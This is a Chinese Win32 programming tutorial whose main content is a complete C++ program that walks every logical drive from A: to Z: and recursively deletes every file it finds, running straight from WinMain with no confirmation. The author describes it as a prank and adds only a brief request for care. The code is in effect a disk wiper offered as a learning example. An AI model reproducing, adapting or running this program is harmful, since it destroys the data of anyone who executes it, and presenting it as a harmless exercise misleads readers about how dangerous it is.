基于Windows API實現(xiàn)遍歷所有文件并刪除的方法
更新時間:2015年04月20日 10:26:35 作者:司青
這篇文章主要介紹了基于Windows API實現(xiàn)遍歷所有文件并刪除的方法,是win32應(yīng)用程序的一個比較典型的文件操作應(yīng)用技巧,需要的朋友可以參考下
本文實例講述了基于Windows API實現(xiàn)遍歷所有文件并刪除的方法。分享給大家供大家參考。具體分析如下:
最近一直在學(xué)windows API,弄了一些好玩的東西(有點惡作劇了,請大家謹慎使用)...
下面是我現(xiàn)學(xué)現(xiàn)賣寫的一個刪除硬盤上所有文件的小程序 ....
#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
WIN32_FIND_DATA data;
HANDLE hFind;
char cFullPath[100];
char cNewPath[100];
sprintf_s(cFullPath,"%s\\*.*",cFilePath);
hFind=FindFirstFile(cFullPath,&data);
do
{
if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
{
continue;
}
if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
DelFile(cNewPath);//遞歸
}
// MessageBox(NULL,data.cFileName,"Look",0);
sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
DeleteFile(cFullPath);
}while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
DWORD dwDrive=GetLogicalDrives();
bitset<32> bit(dwDrive);
char Path[3]={'a',':','\0'};
for(int ix=0;ix!=32;ix++)
{
if(bit.test(ix))
{
Path[0]='A'+ix;
DelFile(Path);
}
}
return 0;
}
希望本文所述對大家的win32程序設(shè)計有所幫助。

